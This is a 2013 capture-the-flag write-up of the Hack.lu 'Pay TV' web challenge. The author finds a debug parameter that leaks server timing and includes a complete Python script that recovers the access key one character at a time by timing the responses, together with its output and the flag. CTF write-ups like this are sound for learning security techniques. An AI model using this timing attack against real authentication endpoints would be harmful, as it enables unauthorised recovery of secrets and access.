title: Hack.lu 2K13 Pay TV - web200 author: depierre published: 2013-10-24 categories: CTF, Security keywords: hack.lu, ctf, write-up, web, 200, challenge, security, python, timing, attack Hack.lu's CTF ============= Bonjour les gens ! The last two days, we have seen [Hack.lu's CTF](http://2013.hack.lu/index.php/Main_Page) taking place online. It was a lot of fun, their IRC channel was really fun, so was their challenges :) Last results? [__106 over 413__](https://ctf.fluxfingers.net/scoreboard) applying teams. __Well done [HackGyver](http://www.hackgyver.org/)__ \o/ Now it's time for the write-up. More precisely, the one on __Pay TV__, their 200 points web challenge. Pay TV, the challenge ===================== ![Pay TV homepage](/static/images/hacklu/pay_tv_homepage.png) The website is composed of a static image, a gif (the noise on the TV) and an input text box (a decoder?). ![Pay TV noise](/static/images/hacklu/noise.gif) Really simplistic design and not so much to look around, except that noise and that input field. When I saw that noise gif for the first time, I was really scared about some stegano inside. ![Pay TV meme not today stega](/static/images/hacklu/meme_not_today_stega.jpg) My thought? __Screw you stega__, I'm not looking for you. Let's focus on the rest instead :P Dive into the challenge ======================= ![Pay TV wrong key](/static/images/hacklu/pay_tv_wrong_key.png) Trying some random keys, the first thing to notice is that the page doesn't reload and instantly displays __Wrong key__. Some javascript or AJAX must be there. But first, let's check where the request is sent. ![Pay TV post form](/static/images/hacklu/pay_tv_post_form.png) So that key is sent to __/gimmetv__ and going on that link shows me that it only accepts POST request method. Let's now check about the scripts. ![Pay TV javascript](/static/images/hacklu/pay_tv_javascript.png) The only script on that page is indeed responsible for sending the key and checking the result. I want to see more! _BURP_, I choose you! ![Pay TV normal answer](/static/images/hacklu/pay_tv_normal_answer.png) After sending that _test_ key, the answer is a JSON array, containing the response and a boolean. Debug, oh my debug, tell me everything! ======================================= ![Pay TV debug field](/static/images/hacklu/pay_tv_debug_field.png) Have you seen the __line 17__ of the script above? There is a comment on the request: a __debug__ field. Interesting :) Let see if there are any differences with that field. ![Pay TV debug answer](/static/images/hacklu/pay_tv_debug_answer.png) Wow, that looks really helpful :) With the timestamp before and after the check lead me to think of a timing attack. Let's do some manual checks with the BURP's repeater. ![Pay TV good first letter](/static/images/hacklu/pay_tv_first_letter.png) Whereas it is instantly for random first letters, the __A one takes 0.1 more second(?) than the others__. It looks like I'm on the right track. Let's do some deeper checks with the second letter, assuming that my hypotesis is right. ![Pay TV bad second letter](/static/images/hacklu/pay_tv_bad_second_letter.png) ![Pay TV good second letter](/static/images/hacklu/pay_tv_second_letter.png) Ok, that's it! __The closer from the right key is ours, the longer it takes for the server to check it.__ Now that the two first letters are good, it takes 0.2 more second(?) more than other 2-letters couples. Lazyness ======== Let's script that and get __THE KEY__! :) :::python import json import urllib2 def get_charset(): """Generate the charset composed of printable characters only""" return [chr(i) for i in xrange(33, 127, 1)] def get_list_pwds(base, charset): """Generate the list of the next tested passwords""" return [base + char for char in charset] def guess_pwds(opener, url, max_length, base, charset): """Time attack the website""" found = False # Last amount of time taken for checking the password last_time = 0 while len(base) <= max_length and not found: list_pwds = get_list_pwds(base, charset) for pwd in list_pwds: f = opener.open(url, 'key=' + pwd + '&debug') answer = json.loads(f.read().strip()) found = answer['success'] elapsed = answer['end'] - answer['start'] # There is a difference about 0.1 second when the current guess is # correct if elapsed - last_time > 0.08: print 'Last successful guess:', pwd last_time = elapsed base = pwd break if found: return base return '' if __name__ == '__main__': URL = "https://ctf.fluxfingers.net:1316/gimmetv" SESSION = '481b7132ea2920244a8cf83fc8ee6c2bc427ad295db4e300388248caaadc77d4b132ebf4' # Create the build opener opener = urllib2.build_opener() opener.addheaders = [('Cookie', 'session=' + SESSION)] # Generate the charset charset = get_charset() # Original password is empty base = '' # Check for 12 characters passwords max correct_pwd = guess_pwds(opener, URL, 12, base, charset) if correct_pwd: print 'Correct password:', correct_pwd else: print 'Was not able to retrieve the password :/' Quick and dirty, like always during CTFs, but at least it does the sh\*t :) Waiting for the output... :::bash ~/ctf/hacklu ยป python2 pay_tv.py Last successful guess: A Last successful guess: AX Last successful guess: AXM Last successful guess: AXMN Last successful guess: AXMNP Last successful guess: AXMNP9 Last successful guess: AXMNP93 Correct password: AXMNP93 ![Pay TV good key](/static/images/hacklu/pay_tv_flag.png) Therefore the flag: __OH_THAT_ARTWORK!__ __\o/__ ![Pay TV challenge validation](/static/images/hacklu/pay_tv_validation.png) __Bonus:__ [Robot Pirates (music)](http://youtu.be/-XLgpReEkLc) :)